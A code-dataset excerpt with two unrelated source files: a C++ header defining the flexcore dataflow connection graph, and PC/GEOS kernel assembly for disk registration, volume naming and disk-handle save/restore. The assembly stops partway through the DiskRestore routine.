text stringlengths 1 1.05M |
|---|
#ifndef SRC_GRAPH_GRAPH_HPP_
#define SRC_GRAPH_GRAPH_HPP_
#include <flexcore/core/traits.hpp>
#include <boost/functional/hash.hpp>
#include <boost/uuid/uuid.hpp>
#include <map>
#include <set>
#include <unordered_set>
namespace fc
{
class parallel_region;
/**
* \brief Contains all classes and functions to access
* and read the abstract connection graph of a flexcore application.
*/
namespace graph
{
///objects in graph are identified by a uuid
using unique_id = boost::uuids::uuid;
/**
* \brief Contains the information carried by a node of the dataflow graph
*/
class graph_node_properties
{
public:
graph_node_properties(
const std::string& name, parallel_region* region, unique_id id, bool is_pure = false);
explicit graph_node_properties(
const std::string& name, parallel_region* region, bool is_pure = false);
explicit graph_node_properties(const std::string& name, bool is_pure = false)
: graph_node_properties(name, nullptr, is_pure)
{
}
bool operator==(const graph_node_properties& o) const { return id_ == o.id_; }
const std::string& name() const { return human_readable_name_; }
unique_id get_id() const { return id_; }
parallel_region* region() const { return region_; }
bool is_pure() const { return is_pure_; }
private:
std::string human_readable_name_;
unique_id id_;
parallel_region* region_;
bool is_pure_;
};
/**
* \brief Contains the information carried by a port of the dataflow graph
*/
class graph_port_properties
{
public:
enum class port_type
{
UNDEFINED,
EVENT,
STATE
};
/// \post !description.empty()
graph_port_properties(std::string description, unique_id owning_node, port_type type);
template <class T>
static constexpr port_type to_port_type()
{
if (is_event_port<T>{})
return port_type::EVENT;
else if (is_state_port<T>{})
return port_type::STATE;
else
return port_type::UNDEFINED;
}
bool operator<(const graph_port_properties&) const;
bool operator==(const graph_port_properties& o) const { return id_ == o.id_; }
const std::string& description() const { return description_; }
unique_id owning_node() const { return owning_node_; }
unique_id id() const { return id_; }
port_type type() const { return type_; }
private:
std::string description_;
unique_id owning_node_;
unique_id id_;
port_type type_;
};
///Aggregates information of nodes and ports in graph
struct graph_properties
{
graph_properties(graph_node_properties node, graph_port_properties port)
: node_properties(std::move(node)), port_properties(std::move(port))
{
}
bool operator<(const graph_properties& o) const noexcept
{
assert(!(port_properties == o.port_properties) ||
node_properties == o.node_properties);
return port_properties < o.port_properties;
}
bool operator==(const graph_properties& o) const noexcept
{
return port_properties == o.port_properties;
}
graph_node_properties node_properties;
graph_port_properties port_properties;
};
struct graph_edge
{
graph_edge(graph_properties source, graph_properties sink) : source(source), sink(sink) {}
graph_properties source;
graph_properties sink;
bool operator==(const graph_edge& o) const { return source == o.source && sink == o.sink; }
};
/**
* \brief The abstract connection graph of a flexcore application.
*
* Contains all nodes which where declared with the additional information
* and edges between these nodes.
*
* \invariant Number of vertices/nodes in dataflow_graph == vertex_map.size().
*/
class connection_graph
{
public:
connection_graph();
connection_graph(const connection_graph&) = delete;
/// Adds a new Connection without ports to the graph.
void add_connection(const graph_properties& source_node, const graph_properties& sink_node);
void add_port(const graph_properties& port_info);
const std::set<graph_properties>& ports() const;
const std::unordered_set<graph_edge>& edges() const;
/// Prints current state of the abstract graph in graphviz format to stream.
void print(std::ostream& stream) const;
/// deleted the current graph \post graph is empty
void clear_graph();
~connection_graph();
private:
struct impl;
std::unique_ptr<impl> pimpl;
};
} // namespace graph
} // namespace fc
namespace std
{
template <>
struct hash<fc::graph::graph_edge>
{
size_t operator()(const fc::graph::graph_edge& e) const
{
size_t seed = 0;
boost::hash_combine(seed, e.source.port_properties.id());
boost::hash_combine(seed, e.sink.port_properties.id());
return seed;
}
};
}
#endif /* SRC_GRAPH_GRAPH_HPP_ */
|
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) GeoWorks 1990 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: Kernel -- High-level disk module routines
FILE: diskHigh.asm
AUTHOR: Adam de Boor, Feb 14, 1990
ROUTINES:
Name Description
---- -----------
INT DiskMapStdPathFar Map a StandardPath constant to a real disk
handle so apps don't have to worry about
passing a StandardPath constant to the Disk
routines.
INT DiskMapStdPath Map a StandardPath constant to a real disk
handle so apps don't have to worry about
passing a StandardPath constant to the Disk
routines.
INT DiskRegisterSetup Set up for a DiskRegisterDisk or
DiskReRegister
INT DiskRegisterTakeDown Finish up after registering/re-registering
a disk.
INT DiskRegisterCommon Common code for DiskRegisterDiskSilently,
DiskRegisterDisk
GLB DiskAllocAndInit Allocate a new disk handle and initialize
it.
GLB DiskRegisterDiskSilently Registers a disk with the system but does
not put up the association dialog box if a
volume name is generated.
GLB DiskRegisterDisk Routine for registering a disk with the
system.
GLB DiskGetDrive Given a disk handle, returns the drive in
which the disk was registered.
GLB DiskGetVolumeName Given a disk handle, copies out the volume
name.
GLB DiskFind Given a volume name, searches the list of
registered disks to find one that has the
name.
INT CheckVolumeNameMatch Utility routine used by DiskFind to compare
the sought volume name against that for the
handle, dealing with space-padding and so
forth.
INT DiskReRegister Re-register a disk to see if its name or
write-protect status has changed.
INT DiskReRegisterInt Internals of DiskReRegister after all
synchronization points have been snagged.
GLB DiskCheckWritableFar See if a volume is writable
GLB DiskCheckInUse Determine if a disk handle is actively
in-use, either by an open file or by a
thread having a directory on the disk in
its directory stack.
INT DIU?_fileCallback Callback routine to determine if a file is
open to a disk.
INT DIU?_pathCallback Callback routine to determine if a path in
a thread's directory stack is on a
particular disk.
GLB DiskCheckUnnamed See if a disk handle refers to an unnamed
disk (i.e. one that has no user-supplied
volume name)
GLB DiskForEach Run through the list of registered disks,
calling a callback routine for each one
until it says stop, or we run out of disks.
GLB DiskSave Save information that will allow a disk
handle to be restored when the caller is
restoring itself from state after a
shutdown.
GLB DiskRestore Restore a saved disk handle for the caller.
INT DiskUnlockInfoAndCallFSD Utility routine employed by DiskFormat and
DiskCopy to call the strategy routine of an
FSD given the drive descriptor, but only
after releasing a shared lock on the
FSInfoResource
GLB DiskFormat Formats the disk in the specified drive.
GLB DiskCopy Copies the contents of the source disk to
the destination disk, prompting for them as
necessary.
INT DiskVolumeOp Utility routine for the various
Disk*Volume* functions to call the FSD
bound to a disk
GLB DiskGetVolumeFreeSpace return free space on volume
GLB DiskGetVolumeInfo Get information about a volume.
GLB DiskSetVolumeName Set the name of a volume
REVISION HISTORY:
Name Date Description
---- ---- -----------
Adam 2/14/90 Initial revision
DESCRIPTION:
More specific notes can be found in the routine headers.
$Id: diskHigh.asm,v 1.1 97/04/05 01:11:09 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
DiskMapStdPath
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Map a StandardPath constant to a real disk handle so
apps don't have to worry about passing a StandardPath
constant to the Disk routines.
CALLED BY: INTERNAL
PASS: bx = disk handle/StandardPath to check
RETURN: bx = real disk handle
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 12/13/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
DiskMapStdPath proc far
uses ds
.enter
test bx, DISK_IS_STD_PATH_MASK
jz done
LoadVarSeg ds
mov bx, ds:[topLevelDiskHandle]
done:
.leave
ret
DiskMapStdPath endp
COMMENT @-----------------------------------------------------------------------
FUNCTION: DiskGetDrive
DESCRIPTION: Given a disk handle, returns the drive in which the disk
was registered.
CALLED BY: GLOBAL (Desktop)
PASS: bx - disk handle
RETURN: al - 0 based drive number
DESTROYED: ah
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Cheng 2/90 Initial version
ardeb 7/16/91 Renamed & changed to use FSIR
-------------------------------------------------------------------------------@
DiskGetDrive proc far
uses es, bx
.enter
call DiskMapStdPath
call FileLockInfoSharedToES
mov bx, es:[bx].DD_drive
mov al, es:[bx].DSE_number
call FSDUnlockInfoShared
.leave
ret
DiskGetDrive endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
DiskCheckWritableFar
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: See if a volume is writable
CALLED BY: GLOBAL
PASS: bx = disk handle to check
RETURN: carry set if disk is writable
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 4/29/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
DiskCheckWritableFar proc far
uses bx
.enter
call DiskMapStdPath
call DiskCheckWritable
.leave
ret
DiskCheckWritableFar endp
public DiskCheckWritableFar
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
DiskCheckUnnamed
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: See if a disk handle refers to an unnamed disk (i.e. one
that has no user-supplied volume name)
CALLED BY: GLOBAL
PASS: bx = file or disk handle
RETURN: carry set if disk is unnamed
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 11/29/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
DiskCheckUnnamed proc far
uses es, bx
.enter
call DiskMapStdPath
call FileLockInfoSharedToES
EC < call AssertDiskHandle >
test es:[bx].DD_flags, mask DF_NAMELESS
jz done ; (carry cleared by test)
stc
done:
call FSDUnlockInfoShared
.leave
ret
DiskCheckUnnamed endp
;-------------------------------------------------
FileCommon segment resource
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
DiskRegisterSetup
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Set up for a DiskRegisterDisk or DiskReRegister
CALLED BY: DiskRegisterCommon, DiskReRegister
PASS: al = 0-based drive number
RETURN: carry set on error:
drive doesn't exist
drive is busy
carry clear on success:
ds:si = DriveStatusEntry
es = FSInfoResource, too
DESTROYED: bp
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
The caller shouldn't have any locks on the FSIR before calling
this routine. However, this cannot be asserted using EC code, because
when GEOS is booting, LoadFSDriver calls FSDSInit, which registers a
disk, and thus would crash on startup...
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 7/15/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
DiskRegisterSetup proc near
uses ax
.enter
;
; Gain exclusive access to fsdTemplateDisk.
;
LoadVarSeg ds, si
PSem ds, diskRegisterSem
;
; Lock the FSIR for shared access
;
push ax
call FSDLockInfoShared
mov es, ax ; es <- FSIR for FSD consistency
mov ds, ax ; ds <- FSIR for efficiency
pop ax
;
; Find the drive descriptor, now we've got the FSIR.
;
call DriveLocateByNumber
jc done ; => drive doesn't exist
;
; Grab the drive exclusive and clear the BUSY flag, since we won't
; be using the exclusive for long. This prevents other things from
; returning ERROR_DISK_UNAVAILABLE just because we're registering
; a disk in the drive. -- ardeb 9/2/93
;
call DriveLockExclNoBusy
clc
done:
.leave
ret
DiskRegisterSetup endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
DiskRegisterCommon
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Common code for
DiskRegisterDiskSilently, DiskRegisterDisk
CALLED BY: See above
PASS: al = 0-based drive number
ah = FSDNamelessAction
RETURN: bx = disk handle if carry clear
= 0 if carry set (disk couldn't be registered)
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 2/18/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
DiskRegisterCommon proc near
uses es, si, bp, ax, ds, di, cx, dx
.enter
clr bx ; in case setup fails...
call DiskRegisterSetup
jc unlockFSIR
;
; Contact the drive's FSD to fetch the ID for the disk currently
; in the drive.
;
push ax ; save FSDNamelessAction
mov di, DR_FS_DISK_ID
mov bp, ds:[si].DSE_fsd
push bp ; save FSDriver
call ds:[bp].FSD_strategy
pop bp
mov bx, 0 ; assume failure
jc fail
mov bx, offset FIH_diskList - offset DD_next
diskLoop:
mov di, bx ;DI <- previous disk in chain
mov bx, ds:[bx].DD_next
tst bx
jz notFound
cmp ds:[bx].DD_id.low, dx ; low ID word matches?
jne diskLoop ; nope
cmp ds:[bx].DD_id.high, cx ; high ID word matches?
jne diskLoop ; nope
cmp ds:[bx].DD_drive, si ; same drive?
je found ; got it
; 0:0 is the general ID we use for unremovable media - don't
; re-use that, ever.
tstdw cxdx
jz diskLoop
;
; If the DiskDesc is STALE then resurrect it (since the ID's match)
;
test ds:[bx].DD_flags, mask DF_STALE
jz diskLoop
tst ds:[bx].DD_drive
jnz diskLoop
;
; We are resurrecting a pre-owned DiskDesc structure. We need to
; re-initilize it, because the volume name could have changed since
; the last time the disk was in the drive.
;
; Unlink the DiskDesc from the chain (it'll be linked in again by
; InitDiskDesc).
;
; DS:DI <- previous DiskDesc in chain
; DS:BX <- DiskDesc to re-use
push ds:[bx].DD_next ;
pop ds:[di].DD_next ;
mov di, bx ;DS:DI <- ptr to DiskDesc to re-use
pop bx ;Remove the FSDNamelessAction
mov bh, FNA_IGNORE ;Don't generate a new name
call InitDiskDesc
jmp unlockFSIR
found:
;
; Better re-initialize the flags value so that the read-only
; status will be accurately recorded, as the disk's state may
; have changed since it was last registered. -Don 12/27/93
;
; Grab new DF_WRITABLE flag only, preserve everything else
; - brianc 4/1/94
;
; Added to 20X - brianc 4/19/94
;
; al - new flags
;
andnf ds:[bx].DD_flags, not mask DF_WRITABLE
andnf al, mask DF_WRITABLE
ornf ds:[bx].DD_flags, al
clc
fail:
pop ax
;
; no longer need the drive locked exclusive.
;
call DriveUnlockExclFar
unlockFSIR:
call FSDUnlockInfoShared
LoadVarSeg ds, si
VSem ds, diskRegisterSem ; preserves carry
.leave
ret
notFound:
pop bx
call DiskAllocAndInit
jmp unlockFSIR
DiskRegisterCommon endp
COMMENT @-----------------------------------------------------------------------
FUNCTION: DiskRegisterDisk
DESCRIPTION: Routine for registering a disk with the system.
CALLED BY: GLOBAL ()
PASS: al - drive number
RETURN: carry clear if successful
bx - disk handle
carry set if error:
bx = 0
DESTROYED: nothing
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Cheng 2/90 Initial version
-------------------------------------------------------------------------------@
DiskRegisterDisk proc far
uses ax
.enter
if DO_NOT_ANNOUNCE_UNNAMED_DISKS
mov ah, FNA_SILENT ; register but don't tell user name
else
mov ah, FNA_ANNOUNCE ; register & tell user if nameless
endif
call DiskRegisterCommon
.leave
ret
DiskRegisterDisk endp
COMMENT @-----------------------------------------------------------------------
FUNCTION: DiskRegisterDiskSilently
DESCRIPTION: Registers a disk with the system but does not put up
the association dialog box if a volume name is generated.
CALLED BY: GLOBAL
PASS: al - 0 based drive number
RETURN: carry clear if successful
bx - disk handle
carry set if error:
bx = 0
DESTROYED: nothing
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Cheng 2/90 Initial version
-------------------------------------------------------------------------------@
DiskRegisterDiskSilently proc far
uses ax
.enter
mov ah, FNA_SILENT ; register but don't tell user if
; nameless
call DiskRegisterCommon
.leave
ret
DiskRegisterDiskSilently endp
COMMENT @-----------------------------------------------------------------------
FUNCTION: DiskGetVolumeName
DESCRIPTION: Given a disk handle, copies out the volume name.
CALLED BY: GLOBAL (Desktop)
PASS: bx - disk handle
es:di - buffer
RETURN: es:di - pointer to null terminated volume name without any
trailing spaces (must have VOLUME_NAME_LENGTH+1
chars)
DESTROYED: nothing
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Cheng 2/90 Initial version
ardeb 7/16/91 Renamed & changed to use FSIR
-------------------------------------------------------------------------------@
DiskGetVolumeName proc far
call PushAllFar
;EC < call ECCheckDirectionFlag >
call DiskMapStdPath
if FULL_EXECUTE_IN_PLACE
EC< push bx, si >
EC< movdw bxsi, esdi >
EC< call ECAssertValidTrueFarPointerXIP >
EC< pop bx, si >
endif
;
; Lock down the FSIR shared so we can get to the disk descriptor.
;
lea si, [bx].DD_volumeLabel
call FSDLockInfoShared
mov ds, ax
;
; Copy all the characters in.
;
mov cx, VOLUME_NAME_LENGTH
SBCS < rep movsb >
DBCS < rep movsw >
;
; null terminate, nuking any trailing padding spaces
;
mov cx, MSDOS_VOLUME_LABEL_LENGTH
std ; look backwards
LocalPrevChar esdi ; ...went one beyond the end
LocalLoadChar ax, ' ' ; ...find first non-space >
SBCS < repe scasb >
DBCS < repe scasw >
SBCS < mov {byte}es:[di][2], 0 ; di one less than first non->
DBCS < mov {wchar}es:[di][4], 0 ; di one less than first non->
; space, so offset by 2 to biff
; the first space (or null-
; terminate the whole thing if
; exactly VOLUME_NAME_LENGTH
; bytes long)
cld ; look forwards
;
; Release the FSIR again.
;
call FSDUnlockInfoShared
call PopAllFar
ret
DiskGetVolumeName endp
FileCommon ends
;--------------------------------------------------------------
FileSemiCommon segment resource
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
DiskSave
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Save information that will allow a disk handle to be
restored when the caller is restoring itself from state
after a shutdown.
CALLED BY: GLOBAL
PASS: bx = disk handle to save
es:di = buffer for data (which is opaque to you) that
allows the handle to be restored.
cx = size of the buffer
RETURN: carry clear if handle saved ok:
cx = actual number of bytes used in the passed
buffer
carry set if handle couldn't be saved:
cx = number of bytes needed to save the disk.
This is 0 if the disk handle cannot be
saved for some reason (e.g. it refers to
a network drive that no longer exists)
DESTROYED:
PSEUDO CODE/STRATEGY:
Lock FSIR
figure length of drive name, with null & colon
if drive name + size FSSavedDisk <= CX:
copy in FSSD_name, FSSD_flags, FSSD_id
lock driver core block
copy in FSSD_ifsName
unlock driver core block
set FSSD_private to after drive name null
copy in drive name
append colon
reduce CX by FSSD_private and advance si by FSSD_private
call DR_FS_DISK_SAVE
add FSSD_private to cx, leaving carry untouched
else
call DR_FS_DISK_SAVE(cx = 0)
add drive name + size FSSavedDisk to returned CX
set carry
fi
unlock FSIR
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 11/26/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
DiskSave proc far
uses ds, di, ax, si, bp, dx
.enter
if FULL_EXECUTE_IN_PLACE
EC< jcxz noSize >
EC< push bx, si >
EC< movdw bxsi, esdi >
EC< call ECAssertValidTrueFarPointerXIP >
EC< pop bx, si >
EC<noSize:
endif
;
; See if the passed disk handle is actually a StandardPath
;
test bx, DISK_IS_STD_PATH_MASK
jz isDiskHandle
;
; We need three bytes for a standard path:
; - a 0 byte for the start of FSSD_name
; - a word to hold the StandardPath
;
cmp cx, size FSSavedStdPath
mov cx, size FSSavedStdPath ; signal amount needed, in
; case not enough present...
jb exitJmp ; => not enough, so return w/
; carry set
mov es:[di].FSSSP_signature, 0
mov es:[di].FSSSP_stdPath, bx
exitJmp:
jmp exit
isDiskHandle:
;
; Lock the FSIR shared, as we won't be modifying it, but we do need
; its information.
;
call FSDLockInfoShared
mov ds, ax
;
; Figure how long the drive name is, including its null terminator and
; the colon we need to stick at its end.
;
push es, cx, di
mov es, ax
EC < call AssertDiskHandle >
mov di, ds:[bx].DD_drive
mov cx, -1
SBCS < clr al >
DBCS < clr ax >
add di, offset DSE_name
SBCS < repne scasb >
DBCS < repne scasw >
neg cx ; cx <- length (name) + null + colon
DBCS < shl cx, 1 ; cx <- size (name) + null + colon >
;
; Add that length to the overall size of an FSSavedDisk structure
;
add cx, size FSSavedDisk
mov_tr ax, cx
pop es, cx, di
;
; Do we have enough room in the passed buffer to store our part of
; the information?
;
cmp ax, cx
LONG ja noRoomNoRoom
;
; Yes. Point FSSD_private after all our stuff. This also lets us
; keep the length of the drive name in a handy place...
;
mov es:[di].FSSD_private, ax
;
; Save the disk flags, so we know whether to check the ID of the disk
; in the drive on restore.
;
mov al, ds:[bx].DD_flags
mov es:[di].FSSD_flags, al
mov al, ds:[bx].DD_media
mov es:[di].FSSD_media, al
;
; Save the 32-bit disk ID for similar reasons.
;
mov ax, ds:[bx].DD_id.low
mov es:[di].FSSD_id.low, ax
mov ax, ds:[bx].DD_id.high
mov es:[di].FSSD_id.high, ax
;
; Copy the volume label in, so we can prompt the user gracefully
; on restart.
;
push cx, di
lea si, ds:[bx].DD_volumeLabel
add di, offset FSSD_name
SBCS < mov cx, size FSSD_name-1 ; includes room for null-term..>
DBCS < mov cx, length FSSD_name-1 ; includes room for null-term..>
SBCS < rep movsb >
DBCS < rep movsw >
SBCS < clr al ; null-terminate the beast >
DBCS < clr ax ; null-terminate the beast >
LocalPutChar esdi, ax
;
; Now get the permanent name of the associated FSD, so if the drive
; isn't defined when we restore this, we can at least figure who to
; call to restore the thing.
;
; If the FSD is the primary, place a null byte at the start of the
; name so we know to automatically use the primary on restore, rather
; than looking for a particular driver. This allows disk handles to
; be saved to the .ini file and the user to upgrade to a different DOS
; without those disk handles suddenly becoming invalid.
;
mov di, ds:[bx].DD_drive
mov di, ds:[di].DSE_fsd
mov ax, ds:[di].FSD_handle
cmp di, ds:[FIH_primaryFSD]
pop di
mov es:[di].FSSD_ifsName[0], 0 ; assume is primary
je copyDriveName
push bx, ds, di
mov_tr bx, ax
call MemLock
mov ds, ax
mov si, offset GH_geodeName
mov cx, size GH_geodeName
add di, offset FSSD_ifsName
rep movsb
call MemUnlock
pop bx, ds, di
copyDriveName:
;
; Now copy the drive name in, appending a colon to it so
; DriveLocateByName is happy, and we prompt the user with something
; with which they're familiar upon restore.
;
mov si, ds:[bx].DD_drive
add si, offset DSE_name
mov cx, es:[di].FSSD_private
push di
add di, offset FSSD_driveName
SBCS < sub cx, size FSSavedDisk+2 >
DBCS < sub cx, size FSSavedDisk+2*(size wchar) >
rep movsb
SBCS < mov ax, ':' or (0 shl 8) >
DBCS < mov ax, ':' >
stosw
DBCS < clr ax >
DBCS < stosw >
pop si
pop cx
;
; Point es:dx to the storage space for the FSD, and reduce CX by the
; amount we've used.
;
mov dx, es:[si].FSSD_private
sub cx, dx
add dx, si
;
; Now call the FSD to have it store what it needs.
;
mov di, DR_FS_DISK_SAVE
mov bp, ds:[bx].DD_drive
mov bp, ds:[bp].DSE_fsd
call ds:[bp].FSD_strategy
;
; Preserve the carry while we add in the amount we need/used to the
; amount returned by the FSD
;
mov ax, es:[si].FSSD_private
jc error
add cx, ax ; (won't exceed 64K,
; so won't set carry)
done:
call FSDUnlockInfoShared
exit:
.leave
ret
noRoomNoRoom:
;
; Not enough room for our own data, so call the FSD to find out how
; much it would use, in a perfect world, without letting it store
; anything.
;
push ax ; save our requirements
clr cx ; tell FSD it ain't got nothin
mov di, DR_FS_DISK_SAVE
mov bp, ds:[bx].DD_drive
mov bp, ds:[bp].DSE_fsd
call ds:[bp].FSD_strategy
pop ax ; recover our requirements
jnc addOurs ; => FSD happy (must have
; returned cx==0, since we
; gave it no room, but we
; don't want to do that...)
error:
; ax = # bytes we require
; cx = # bytes FSD require
jcxz done ; => can't be saved for some reason
; other than lack of buffer space,
; so return cx==0 ourselves
addOurs:
; else add in the amount we used to
; the amount the FSD needed and
; return carry set
add cx, ax
stc ; we are not amused.
jmp done
DiskSave endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
DiskRestore
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Restore a saved disk handle for the caller.
CALLED BY: GLOBAL
PASS: ds:si = buffer to which the disk handle was saved with
DiskSave
cx:dx = vfptr to callback routine, if user must be prompted
for the disk. If cx is 0, no callback will be
attempted, and failure will be returned if the disk
was in drive that no longer exists, or contains
removable media but not the disk in question.
RETURN: carry set if disk could not be restored:
ax = DiskRestoreError indicating why.
carry clear if disk properly restored:
ax = handle of disk for this invocation of PC/GEOS
DESTROYED:
PSEUDO CODE/STRATEGY:
The callback routine is called:
Pass:
ds:dx = drive name (null-terminated, with
trailing ':')
ds:di = disk name (null-terminated)
ds:si = buffer to which the disk handle was saved
ax = DiskRestoreError that would be returned if
callback weren't being called.
bx, bp = as passed to DiskRestore
Return:
carry clear if disk should be in the drive;
ds:si = new position of buffer, if it moved
carry set if user canceled the restore:
ax = error code to return (usually
DRE_USER_CANCELED_RESTORE)
; first we need to find the driver itself, so we know who to
; call to ID the disk currently in the drive.
bx <- GeodeFind(FSSD_ifsName, GA_DRIVER)
if driver not found:
return (DRE_DRIVE_NO_LONGER_EXISTS)
fi
lock FSIR exclusive
bp <- FSDriver for the driver
; now locate the drive, using the name we saved away.
bx <- DriveLocateByName
if drive not found, or drive managed by driver other than bp:
; assume nothing for the drive, as the disk can't be
; there
bx <- 0
fi
; give the FSD a chance to verify that this is indeed the
; drive we're looking for.
call DR_FS_DISK_RESTORE(ds:si, bx)
if error or bx still 0:
return (DRE_DRIVE_NO_LONGER_EXISTS)
fi
see if any known disk for the drive matches the saved ID
if so, return the one found
; we know now we need to create a new disk handle, but we
; need to ensure the disk is in the drive before we
; initialize the new disk handle.
if flags say disk not always valid:
; find what's there currently
call DR_FS_DISK_ID
if ID doesn't match saved ID:
; use callback to ask the user for the disk
unlock FSIR, so callback can do as it likes
call callback(DRE_REMOVABLE_DRIVE_DOESNT_HOLD_DISK)
if error, return ax
go back to the beginning, as the FSIR could have changed
during the callback
fi
; we know the disk is in the drive, so create a new
; DiskDesc and initialize it to match what's there now.
create DiskDesc and store ID and drive and flags
call DR_FS_DISK_INIT
return new disk handle
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 12/ 9/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
DiskRestore proc far
passedBP local word \
push bp
callback local fptr ; routine to call back in case disk not found\
push cx, dx
passedBX local word ; save point for BX for callback \
push bx
uses bx, cx, dx, di, es
.enter
if FULL_EXECUTE_IN_PLACE
EC< push bx, si >
EC< mov bx, ds >
EC< call ECAssertValidTrueFarPointerXIP >
EC< tst cx >
EC< jz xipSafe >
EC< movdw bxsi, cxdx >
EC< call ECAssertValidFarPointerXIP >
EC< xipSafe: >
EC< pop bx, si >
endif
;
; See if the saved "disk handle" was actually a StandardPath constant.
;
tst ds:[si].FSSSP_signature
jnz restoreLoop
;
; Yes. Just return that constant. (carry cleared by tst)
;
mov ax, ds:[si].FSSSP_stdPath
jmp exit
restoreLoop:
call FileLockInfoSharedToES
;
; See if the IFS driver is loaded for the drive.
;
cmp ds:[si].FSSD_ifsName[0], 0
je usePrimaryDriver
mov di, offset FIH_fsdList - offset FSD_next
searchByNameLoop:
mov di, es:[di].FSD_next
tst di
jz searchByNameFailed
push di, si
add di, offset FSD_name
add si, offset FSSD_ifsName
mov cx, GEODE_NAME_SIZE
repe cmpsb
pop di, si
jne searchByNameLoop
jmp lookForDrive
searchByNameFailed:
;
; If we can't locate the IFS driver, there's nothing more we can do.
;
call FSDUnlockInfoShared
mov ax, DRE_DRIVE_NO_LONGER_EXISTS
stc
jmp exit
usePrimaryDriver:
;
; Disk belonged to the primary FSD when it was saved, so the current
; one has to be able to handle it -- just fetch the primary FSD's
; handle from the FSIR.
;
mov di, es:[FIH_primaryFSD]
